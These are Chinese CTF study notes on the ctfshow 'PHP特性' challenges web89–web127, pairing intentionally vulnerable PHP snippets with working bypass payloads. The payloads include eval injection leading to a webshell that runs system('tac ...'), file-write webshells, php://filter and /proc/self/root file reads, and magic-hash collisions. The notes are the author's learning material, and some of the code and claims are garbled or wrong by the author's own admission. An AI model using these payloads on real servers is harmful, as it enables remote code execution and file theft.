ctfshow-PHP特性

 web89

<?php
include("flag.php");
highlight_file(_FILE_);if(isset($_GET['num'])){$num=$_GET['num'];if(preg_match("/[0-9]/",$num)){die("no no no"); #结束脚本呢执行输出指定信息}if(intval($num)){#把参数转换整数类型echo $flag;}
}

preg_match 函数正则匹配0-9 如果匹配到就失败 intval将参数值转换为整数类型 这就犯冲突了

但是preg_match函数只能处理字符串 当传入的是数组的时候就返回false 从而绕过die函数 这时intval接收到数组 会将数组的每一个值转换为整型从而条件语句为真 输出flag

对于我来说有特性(php基础知识)

1preg_match只能处理字符串

2 url传值的时候 服务器接收值是字符串

2变量可以是数组 :$num是变量 但是传值的时候可以是num[]=???

3当文件B包含一个文件A时 如果在A中定义了一个变量的值 在B中可以获取到该变量的值

web90

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if($num==="4476"){die("no no no!");}if(intval($num,0)===4476){ #第二个参数默认是把变量的值当做十进制 为0时 根据前缀进行判断echo $flag;}else{echo intval($num,0);}
}

=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较值是否相等

代表完全相等 算是python中的同一性 is

如果传入值为4476 就会输出nonono 如果输出flag变量的值必须是4476 这就冲突了 如何解决呢

if(intval($num,0)===4476){ #第二个参数默认是把变量的值当做十进制 为0时 根据前缀进行判断

第一种方法:十进制是没有前缀的 但是+4476后(到后端就是字符串+4476 所以不等于字符串4476) 就绕过了死亡函数die 但是intval因为有0的参数 它会根据前缀将+4476识别为十进制的4476 所以4476===4476

第二种方法:0x117c是十六进制的4476 传入0x117c字符串 也会绕过死亡函数 并且intval函数会将0x117c当作十六进制 转换成十进制整数

注意 intval默认情况下是转换成十进制整形

对于我来说有特性(php基础知识)

1传参到后端默认是字符串

2intval函数 如果第二个参数为0 就会根据变量的前缀 转换成对应的十进制整形

3===表示完全相等 值和类型必须都相等

web91

<?php
show_source(_FILE_);#将页面源代码输出到页面中
include("flag.php");
$a=$_GET['cmd'];
#正则匹配变量 以php开头并且以php结尾的 也就是精确匹配 
#字符串中必须只有php m修饰符代表多行匹配 也就是说能匹配到php\n或者php\nphp
#如果没有m修饰符 那么不能匹配到php\n了 因为多行匹配的原因
#正则i 为忽略大小写
if(preg_math('/^php$/im',$a)){if(preg_math('/^php$/i',$a)){echo 'hacker';}else{echo $flag;}
else{echo "nonono";
}
}

首先传入的字符串必须是php开头结尾的字符串 才能执行语句块 但是语句块内如果字符串为php那就会输出hacker 这就犯冲突了 

这就利用到了m修饰符的作用  多行匹配 以字符串中\n为分隔符 分隔出多行 如果其中一行匹配到php开头或者结尾 就算匹配成功 例如字符"aaa\nphp"第二行匹配到了php字符串 返回true 执行语句块 在语句块中正则匹配 单行匹配 这样就不会将\n视为分隔符了 而是将"aaa\nphp"当作一行进行匹配 从而匹配不上 这样就能输出flag了

对于我来说有特性(php基础知识)

1正则匹配m修饰符为多行匹配 视\n为分隔符 分割多行逐行匹配

2 传参是必须使用%0a作为换行符\n不行 原因:在 HTTP 协议中,换行符(特殊字符)需要使用 %0a(即 \n 的 URL 编码形式)来表示,而不是使用 \n \n在url中属于非法字符 从而导致无法解析错误等一系列问题

3 空格如果进行url编码可能会变成+并不是%20  其中使用urlencode空格会变成+ 注意即可

4 和这道题没关为什么传注释符的时候最好使用--+ 因为--后要加上空格 +或者%20就是空格url编码后的 如果不使用+ --后的空格 可能服务器接收不到 注意就行

web92

<?php
include("flag.php");
highlight_file(_FILE_);
if(isset($_GET['num'])){$num=$_GET['num'];if($num==4476){die("no no no");}if(intval($num,0)==4476){echo $flag;}else{echo intval($num,0);}
}

php特性:比较运算符 ==在进行比较的时候,会先将字符串类型转化成相同 也就是说如果传值为4476或者+4476 会将字符串转换成$num==4476中的4476同一类型也就是整形 

因为intval中第二个参数为0 所以传值为十六进制的4476即可

web93

<?php
include("flag.php");
highlight_file(_FILE_);
if(isset($_GET['num'])){$num=$_GET['num'];if($num==4476){die("no no no");}if(preg_match("/a-z/i",$num)){die("no no no");}if(intval($num,0)==4476){echo $flag;}else{echo intval($num,0);}
}

上一题的进阶版 就是不能加上一个条件不能字符串中不能存在a-z 那么就不能使用0x117c 十六进制的4476了 传参使用八进制的4476即可 因为八进制前缀为0 当然也可以使用小数进行绕过4476.1

web94

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if($num==="4476"){die("no no no!");}if(preg_match("/[a-z]/i", $num)){die("no no no!");}if(!strpos($num, "0")){//在变量中如果匹配到字符0返回下标位置die("no no no!");}if(intval($num,0)===4476){echo $flag;}
}

使用了===进行完全比较 类型与值必须完全相等 并且是和“4476”字符串进行比较

因为有!strpos不能使用八进制的4476 因为开头是0 返回的下标值也为0 取反为1 就会执行语句块

那就使用小数就能 4476.0 小数点后必须有0 因为strpos函数如果匹配不到0返回false 取反为true

php特性

strpos函数匹配字符串中子字符串 如果匹配到返回子字符串第一个位置的下标

web95

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if($num==4476){ # 不能使用小数点 因为==会转换成相同类型 4476.0转换为4476进行比较die("no no no!");}if(preg_match("/[a-z]|\./i", $num)){ #不能有字母die("no no no!!");}if(!strpos($num, "0")){ #必须要有0die("no no no!!!");}if(intval($num,0)===4476){#完全相等类型和值echo $flag;}
}

有点难搞 不能使用小数点(第一个比较为==会转换类型) 十六进制 八进制

那就逐个尝试

本来想着使用?num=-4476.0 转换类型也没事先通过第一个死亡函数再说 但是发现第二个死亡函数过滤了小数点 于是使用-04476

那就是用?num=-04476 结果无输出 虽然绕过了所有的死亡函数 但是卡在了输出flag的条件上

在本地环境试 如何让intval($num,0)===4476 $num值为多少前提在-04476基础上 因为能绕过前三个死亡函数

还好在本地测试了 -04476还真不行 我以为intval在转换的时候只识别第一个字符负号- 结果识别的是0 就变成-4476是一个八进制 转换十进制 为-2366 那就改为-010547 既然这样那就没必要因为绕过第一个死亡函数而使用-号了 直接使用+号即可+010547 传参+变为空格也是可以的

php特性 ==和===

== 比较时会转换类型 

=== 必须完全相等 类型以及值

web96

<?php
highlight_file(__FILE__);if(isset($_GET['u'])){if($_GET['u']=='flag.php'){die("no no no");}else{highlight_file($_GET['u']);}
}

有两种方法 也算是两个知识点

第一种./file的方式 也就是./flag.php

?u=./flag.php

第二种直接使用php数据流的方式读取文件内容

?u=php://filter/convert.base64-encode/resource=flag.php

注意highlight_file函数必须完全匹配才能显示文件内容 举例文件名为flag.php 如过高亮flag.PHP是不可以的

web97

<?php
include("flag.php");
highlight_file(__FILE__)
if(isset($_POST['a']) and isset($_POST['b'])){
if($_POST['a']!=$_POST['b']){if(md5($_POST['a']===md5($_POST['b'])))echo $flag;elseprint 'wrong';
}
}

a和b必须不同 但是md5值必须相同 想让值不同md5值相同 跟不就不可能

这个时候就用上md5只能处理字符串的知识点了 如果a和b是数组md5处理不了就会返回false

从而false===false

又学到一个知识点在php中 数组就是一个对象

这里使用bp不知道为啥 又来一个小知识点使用bp的时候记得分清GET和POST哦 

web98

<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';#这个引用就是地址 类似于c语言中的地址 可以理解为改变了GET的地址 
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);?>

首先就是三元运算 类似于sql中的if函数 先判断GET全局变量是否存在值如果存在将POST引用复制给GET 否则返回一个flag字符串常量

中间cookie和server对我们来说没用 最后的条件是让get中的http_flag=flag 就能输出$flag了 但是因为第一个三目运算的原因 如果get存在值 就会将post引用传给get 从而get又变空了 这个时候只要保障POST中存在HTTP_FLAG=flag且GET存在任意一个变量即可

知识点$_GET是全局变量 如果进行传参 这个全局变量就包含一个关联数组 键就是参数名 值为参数值 

web99

<?php
highlight_file(__FILE__);
$allow=array();#创建一个数组
for ($i=36;$i<0x36d;$i++){#877 从36累加到0xarray_push($allow,rand(1,$i));#生成一个1-$i的随机整数包含边界放置到数组最后方
}
if(isset($_GET['n'])&&in_array($_GET['n'],$allow)){file_put_contents($_GET['n'],$_POST['content']);
}

知识点

in_array函数判断指定字符串是否存在数组中 弱类型比较 1.php和1比较 是比较成功的

in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为整数1

file_put_contents函数将数据写入文件中 如果文件不存在会创建文件

&&比and优先级高&哪怕第一个为假也会计算第二个 

php中的数组 可以是只有值的索引就是0开始的 也可以是键值对形式

直接写一句话木马即可

web100 

<?php
highlight_file(__FILE__);
include("flag.php");
//flag in class ctfshow;
$ctfshow= new ctfshow(); $ctfshow是一个类对象 既然能实例化肯定是包含的ctfshow.php里面定义了一个类
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
# 判断变量是否为数字或者数字字符串
# 等于号优先级高 所以只用看v1为数字即可
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){if(!preg_match("/\;/",$v2)){if(preg_match("/\;/",$v3)){eval("$v2('ctfshow')$v3");}}
}

关键在这一句 $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

因为=优先级高 所以他会先对$v0进行赋值 这样就达到了只要是v1为数字即可

if条件中要保证v2没有分号v3要有分号

第一种方法

eval("$v2('ctfshow')$v3"); 这是输出flag的函数 如果能输出呢

var_dump('ctfshow');

echo('ctfshow');

print_r('ctfshow');

都不行

只输出 ctfshow这个字符串 这是为什么呢 因为我们要输出的是$ctfshow变量 但是代码中是ctfshow字符串 从而他只能输出 字符串了 

解决方法就是注释掉

eval("var_dump($ctfshow)/*('ctfshow')*/;");

第二种方法

因为有eval直接尝试一下phpinfo()是否可以

?v1=1&v2=phpinfo()?>&v3=; 可以 直接截断代码 无报错但是phpinfo后的("ctfshow")以及$v3的值会当成字符串输出出来

?v1=1&v2=phpinfo()&v3=; 可以 直接执行phpinfo()  有点小报错不影响

?v1=1&v2=phpinfo();/*&v3=*/; 不可以 v2不能存在分号

?v1=1&v2=phpinfo();echo&v3=;不可以 和上面同理

成功执行后确定为漏洞点 使用一句话木马替换phpinfo

?v1=1&v2=eval($_POST['a'])?>&v3=; v2末尾使用的是?>才可以

虽然最终语句变成了eval("eval(system('ls');)?>  照样可以执行ls

使用shell方式查看文件内容

a=system('tac ctfshow.php');

使用php中高亮显示文件函数 实现实现文件内容

a=highlight_file('./ctfshow.php');  切记要用引号哦  不使用./也可以
都可以查看ctfshow.php中的flag

知标题一识点

1 如果包含了一个文件 那在本文件下可以使用包含文件的变量 以及类 等包含文件内容

2 echo只能以字符串的形式输出 不能输出对象 (但是在类中定义魔术方方法__toString() echo也能输出 输出的是魔术方法返回值)var_dump和print_r可以详细输出对象

3eval函数内的执行语句 有没有分号都能执行成功

4 想要执行shell中的 必须使用system函数 光用eval只是执行代码

web101

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){eval("$v2('ctfshow')$v3");}}   
}
?>

相较于上一题来说v2过滤了很多字符 还有一种方法能输出就是php反射函数

注意 php反射类简单理解就是 获取了类的信息 以var_dump方式获取后成为一个字符串 使用echo输出出来

?v1=1&v2=echo new Reflectionclass&v3=;

eval("echo new Reflectionclass('ctfshow');");

实践是检验真理的 要多多尝试

web102

<?php
highlight_file(__FILE__);
$v1=$_POST['V1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v4=is_numeric($v2)and is_numeric($v3);
if($v4){$s=substr($v2,2);#获取字符串从第二个字符开始的子串$str=call_user_func($v1,$s);#执行函数 $v1作为函数名 $s作为参数echo $str;#输出变量file_put_contents($v3,$str);#将数据写文件
}
else{die('hacker');
}

首先就是v2必须是全数字的 v3任意

获取v2的第二个字符开始的字串作为$str的值 也就是为了获得正确的payload最前方要填充两个无用字符 从而获得除了前两个无用字符后的有用字符

call_user_func($v1,$s) 可以理解为执行函数 $v1($s) 

也就是说$v1($s)  输出的结果是我们要的payload

知识点

1 php5(php7.1一下)下is_numeric可识别16进制(如果0x开头 就会识别为十六进制字符串 从而绕过),如0x2e,然后调用hex2bin转成字符串写入任意木马

十六进制字符串转换二进制字符串也就是相当于

但是这道题环境用的是php7.0以上的环境所以就不能用0x开头从而绕过is_numeric函数 导致大多

为了能绕过is_numeric函数 目前构造一个很神奇的字符串

5044383959474e6864434171594473

十六进制转换字符串

PD89YGNhdCAqYDs

base64解码

<?=`cat *`;

因为开头不能使用0x所以 目前只有这一个字符串能满足要求 里面的e会被函数当成科学计数法从而绕过死亡函数

但是十六进制转换字符串需要用一个函数 base64解码又要用一个函数 但是题目只有一个函数位置

于是写文件的时候可以通过过滤器来对写的内容进行过滤php://filter/write=convert.base64-
decode/resource=2.php(该过滤器可以在文件操作函数中使用,起到过滤作用)变成了

file_put_contents(php://filter/write=convert.base64-decode/resource=2.php,$str); 

简单解释 将数据$str利用过滤器进行base64解码写入文件2.php中

这样只需要十六进制转换字符串的函数就可以了

访问2.php文件

2 <?=`cat *`;  cat * 是一个shell命令如果一个php文件中存在该内容 它会执行 cat * 命令并将结果输出到页面上

3 等号的优先级大于and

web103

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){$s = substr($v2,2);$str = call_user_func($v1,$s);echo $str;if(!preg_match("/.*p.*h.*p.*/i",$str)){file_put_contents($v3,$str);}else{die('Sorry');}
}
else{die('hacker');
}?>

过滤了payload中 php 且不区分大小写 这么一看对我们没影响

尝试一波发现确实没影响  上一道题其实不是那么做的 上一道题就是让你写任意的木马 但是环境配成7.1了 只能按照这道题的方式去做 就算上一题用的5.2版本且也使用者这个正则 写任意木马 也不影响 因为$str是base64编码后的字符串 匹配字符串中存在php的概率很小

web104

<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){$v1 = $_POST['v1'];$v2 = $_GET['v2'];if(sha1($v1)==sha1($v2)){echo $flag;}
}
?>

sha1就是将字符串进行哈希加密使用SHA1的方式

第一种正常解 函数没有判断传参的两个值是否不相等

使v2v1值相等即可 他们的哈希加密值也相等

第二种解法 

这道题和md5加密那道题一样 就i是换了一个函数 

加密函数的参数必须传入字符串 否则函数返回值为false 传入从数组而实现false==false

第三种解法

大佬跑出来的

aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668

在==比较的时候 对字符串形式的数值,PHP 会尝试将其转换为数值类型进行比较恰巧这个payload中除了e全是数字 成功转换为数值类型 0的任意次方还是等于0 所以0==0

web105

<?php
highlight_file(__FILE__);
include("flag.php");
error_reporting(0);#安全级别为0 不输出任何报错信息
$error="你还想要flag嘛";#如果有报错不输出报错语句而输出该语句
$suces="既然你想要就给你吧";
# 遍历变量中的键值对  对于http来说就是遍历传入的参数名以及参数值
foreach($_GET as $key=>$value){if($key==='error'){die("what are you doing");}$$key=$$value;#将变量value值作为变量名 
}
foreach($_POST as $key=>$value){if($key==='error'){die("what are you doing");}$$key=$$value;
}
if(!($_POST['flag']==$flag)){die($error);#输出
}
echo "are you good".$flag."\n"
die($suces);

有个死亡函数 必须让post中的falg参数的值为flag 才能绕过死亡函数 这有点过分了 我要知道那还做啥题了哈哈

$$key=$$value; 很关键 先看GET参数

如果想要获取到flag $value=flag -----$$key=$flag

参数名随便来一个x $key=x  -----$x=$flag

$$key=$$value;  再看POST参数

现在flag值已经存在于$x中了  使$value=x -----$$key=$x

到这我想了好久如何对POST参数进行赋值 他是将post参数遍历存入key中的 反赋值只靠-$$key代表$post['flag']不存在呀

从新审核一下代码 没必要绕过死亡函数 直接让die输出错误error即可

所有让$key=error --------$error=$x

第二种方法

?suces=flag&flag=

这个也比较好理解 先把flag值放入suces中 然后 让$flag=$  php会将$视为空字符串 从而$flag为空

因为post中没有flag参数 所有 post['flag']也为空 

web106

和web104一个样 就是增加了v1!=v2

方法一

传数组 使得函数返回值为false

大佬方法

aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668

web107

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){$v1=$_POST['v1'];$v3=$_GET['v3'];parse_str($v1.$v2);if($v2['flag']==md5($v3)){echo $flag;}
}

首先我想到 $v2['flag']==md5($v3) 是不可能的 只能让md5返回值为false

在php中未定义的值被转换为布尔值时会被视为 false 所以无需定义v2中的flag即可 但是要注意 必须还要给v1随便传值 否则v2没被定义 就会出现报错等问题

第二种方法 弱类型比较  flag=0  让md5函数返回一个0e开头的即可 这样0=0

GET: ?v3=240610708 POST: v1=flag=0

web108

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {die('error');}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){#经过反转再转换整形是否等于十六进制的0x36d 也就是877echo $flag;
}?>

intval函数本来想着将十六进制转换十进制可不可以 不可以 必须给定第二个参数intval($str, 16);

ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) 必须a-z开头 a-z结尾 如果没匹配上 执行语句块

为了让他不执行语句块 只能让他匹配上 a%00778 只能使用截断了 ereg函数就有这个漏洞 识别%00也就是空字符就不往下识别了 从而绕过了死亡函数

经过反转877空字符a 就转换为了877 所以最终能得到flag

知识点:

==弱比较 十进制877和十六进制0x36进行比较的时候 是相等的 因为php会将其中十六进制自动转换为十进制

web109

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){eval("echo new $v1($v2());");}
}

#但是这道题没给类所以要使用内置类
#死记硬背 有个mysqli内置类 用于mysql连接的 需要传递很多参数用于连接数据库 如果这时传递一个函数作为参数 也会执行 比如phpinfo 

这个页面还在加载也就是还在连接数据库中 显然他肯定连接不上

 既然能执行phpinfo 那肯定就能执行system('ls')

知识点system('ls')()()多几个括号不报错

知识点题外话 php可能有很多内置类 在phpinfo中是可以看到的

 exception类也如此 这东西就是死记硬背简单理解就行 记住这个类实例化时传入函数可以被执行 前提是实例化的对象被echo输出

小知识 echo phpinfo() 会输出php信息 不使用echo也可以输出php信息

echo system('ipconfig'); 也是一个道理 不使用echo也是可以将结果输出到页面来

但是字符串必须要echo才能输出到页面来因为出发了tostring 有return的返回值 使用echo输出

这道题弄了将近两个点 很多很多基础知识都是很基础的

web110

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){die("error v1");}if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){die("error v2");}eval("echo new $v1($v2());");}?>

和上一道题同理 但是传参的时候禁用了很多字符 貌似没影响

尝试一下看看有什么影响

?v1=mysqli&v2=phpinfo 成功

?v1=mysqli&v2=system(ls) 不成功查看后发现禁用了()  

看来条件很苛刻 看来只能使用正常的$v1($v2() 函数调用 只能使用内置类然后无参进行rce

rce远程命令执行

?v1=FilesystemIterator&v2=getcwd

DirectoryInterator:遍历目录的类
FilesystemIterator:遍历文件的类

getcwd函数获取当前目录的路径返回一个字符串

web111

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");function getFlag(&$v1,&$v2){eval("$$v1 = &$$v2;");var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){die("error v1");}if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){die("error v2");}if(preg_match('/ctfshow/', $v1)){getFlag($v1,$v2);}
}
?>

本来以为没什么难度 正常传值 ?v1=ctfshow&v2=falg 但是输出NULL也就是没有值 这是为什么呢

因为在方法外部进行的文件包含 在方法内部不能直接调用文件包含的文件中的变量的 不光是文件包含的变量 只要是方法外部的变量就不能在方法内使用 除非传参

那就使用全局变量$GLOBALS 将全局变量的所有值赋值给$ctfshow 然后进行输出

知识点 死记硬背即可

1 eval("$$v1 = &$$b;"); 可以

eval("$v1 = &$b;"); 不可以 

ai说是eval函数的原因无法直接处理引用 但是对$$又有特殊规则

2 $GLOBALS 全局变量 是一个数组里面存着所有变量的名和值

web112

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){die("hacker!");}else{return $file;}
}
$file=$_GET['file'];
if(! is_file($file)){highlight_file(filter($file));
}else{echo "hacker!";
}

有一个判断 参数不能是个文件 这该如何绕过 

直接用过滤器 过滤器不影响 伪协议不影响file_get_contents,和highlight_file。

php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php

web113

和上一题同理就是不能使用filter php过滤器了 

它试图打开并读取经过 zlib 压缩的 flag.php 文件,并返回解压后的内容 不是压缩文件也可以 简单记住就是远程读取文件 是一个伪协议compress.zlib://flag.php 不影响file_get_contents,和highlight_file。

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){die('hacker!');}else{return $file;}
}
$file=$_GET['file'];
if(! is_file($file)){highlight_file(filter($file));
}else{echo "hacker!";
} <?php

预期解就是目录溢出
预期解payload:

file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,显示的内容是根目录下的内容
原理:利用函数所能处理的长度限制进行目录溢出: 原理:/proc/self/root代表根目录,进行目录溢出,超过is_file能处理的最大长度就不认为是个文件了

知识点 highlight_file 不能高亮显示数组

web114

<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($file){if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){die('hacker!');}else{return $file;}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){highlight_file(filter($file));
}else{echo "hacker!";
}

无法使用目录溢出 禁用了root

无法使用读取压缩文件的伪协议compress.zlib://flag.php

但是发现他并没有禁用filter过滤器 php://filter/resource=flag.php

web115

<?php
include("flag.php");
highlight_file(__FILE__);
error_reporting(0);
function filter($num){$num=str_replace("0x","1",$num);$num=str_replace("0","1",$num);$num=str_replace(".","1",$num);$num=str_replace("e","1",$num);$num=str_replace("+","1",$num);return $num;
}
$num=$_GET['num'];
# 必须是数字或者数字字符串  不能完全等于字符36  函数返回值等于字符36
if(is_numeric($num)and $num!=='36'and trim($num)!=='36'and filter($num)=='36'){if($num=='36'){echo $flag;}else{echo "hacker";}
}
else{echo"hacker";
}

%0c36 

is_numeric($num) ‘   36’ 在数字前加空格 也会认为是数字字符串

$num!=='36'  不完全等于‘36’ 因为有个tab

trim($num)!=='36' 去空格 但是不去除%0c

filter($num)=='36' ‘36’与‘    36’ 进行弱类型比较是相等的

知识点

  1. \t 的意思是 :水平制表符。将当前位置移到下一个tab位置。%09

  2. \r 的意思是: 回车。将当前位置移到本行的开头。%0D

  3. \n 的意思是:回车换行。将当前位置移到下一行的开头。%0A

  4. \f的意思是:换页。将当前位置移到下一页的开头。%0C

  5. \0的意思是:空字符 %00

  6. \v的意思是:垂直制表符 和制表符差不多意思%0B

  7. 空格是%20

​web123

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){eval("$c".";");  if($fl0g==="flag_give_me"){echo $flag;}}
}
?>

按照要求CTF_SHOW和CTF_SHOW.COM 不能为空

于是post传参

CTF_SHOW=1&CTF_SHOW.COM=2

但是

在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格(有的时候可以用+表示)、点、[ 则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换

于是变为了CTF_SHOW=1&CTF[SHOW.COM=2

$c=$_post['fun']

fun为phpinfo() 不输出就是没执行phpinfo() 不知道什么原因 试试echo

CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo 1 成功输出

那直接echo $flag即可

第二种方法

implode(get_defined_vars()) 

知识点:

1 如果一个变量为空 他不小于任何数

2 字符串与整数比较的时候 首先转换类型 整数和字符串比较 如果字符串首位不为数字 自会转换为0 字符串与字符串比较会逐个比较ascii 

3

使用传参传一个变量也是这个意思(?a=$b=1 这个传变量我测试了一下 感觉不对啊)

我就是举个例子和这道题没关

这个只是点有问题 记住这个问题就行 有异议 我说的不对 通过post应该无法给get的参数传值

太乱了反正就是经过我的测试 这第三个知识点全是错的  过了一个小时如果TZY=fun($_GET[1]) 这是个函数可以 但是需不需要eval 就不知道了

4 echo implode(get_included_files()) 

get_included_files() 返回目录下文件的路径 多个路径组成数组

implode函数将数组转换为字符串 从而可以让echo输出

getcwd 返回当前目录的绝对路径

get_defined_vars() 返回已有变量以及变量值组成的数组

5 eval 本质上是代码执行 所以就可以使用函数 然后使用echo输出返回值

web125

和上一题一样过滤了echo print var_dump等 输出 并且禁用了phpinfo() system()等函数

但是

第一种方法

var_export函数也能输出 和echo一个效果

第二种方法 高亮显示文件

GET:flag.php 

POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

第三种方法

extract($_POST) 函数会将 $_POST 数组中的键值对解包为独立的变量,其中键名将成为变量名,键值将成为变量的值。

CTF_SHOW=&CTF[SHOW.COM=&fun=extract($_POST)&fl0g=flag_give_me

web126

<?php
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){eval("$c".";");  if($fl0g==="flag_give_me"){echo $flag;}}
}

又禁用了|g|i|f|c|o|d/

本来想着

GET:a=flag_give_me

POST:&fun=extract($_GET);$fl0g=$a

但是他禁用了分号 并且禁用了很多字母

然后想着

GET:?a[fl0g]=flag_give_me

POST:&fun=extract($_GET[a])

但是他禁用了c

extract换成parse_str

GET:?a=fl0g=flag_give_me

POST:&fun=parse_str($_GET[a])

但是他禁用了g

怎么实现呢?这道题用到了$a=$_SERVER['argv'];

server中的argv就是一个数组 从而$a也是一个数组

数组里面是什么呢 举个例子

GET:?123+456+fl0g=flag_give_me(这里不知道为什么%20不行必须用+ 难道是容易和我们的结合起来服务器分不清?比如被服务器识别为%204)

POST:CTF[SHOW=1&CTF[SHOW.COM=2&fun=parse_str($a[2])

这个时候 $a[0]:123 $a[1]:456 $a[2]:fl0g=flag_give_me

+到服务器就变成了空格 可以理解+(空格)为分隔符

所以答案1为

GET:?123+456+fl0g=flag_give_me

POST:CTF[SHOW=1&CTF[SHOW.COM=2&fun=parse_str($a[2])

答案2为

GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

虽然assert() 函数用于检查一个表达式是否为真 但是一旦这个表达式为一个php语句 他也会执行

答案3为

GET:?$fl0g=flag_give_me;
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0])

注意哦eval里面的语句要用分号哦

web127

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
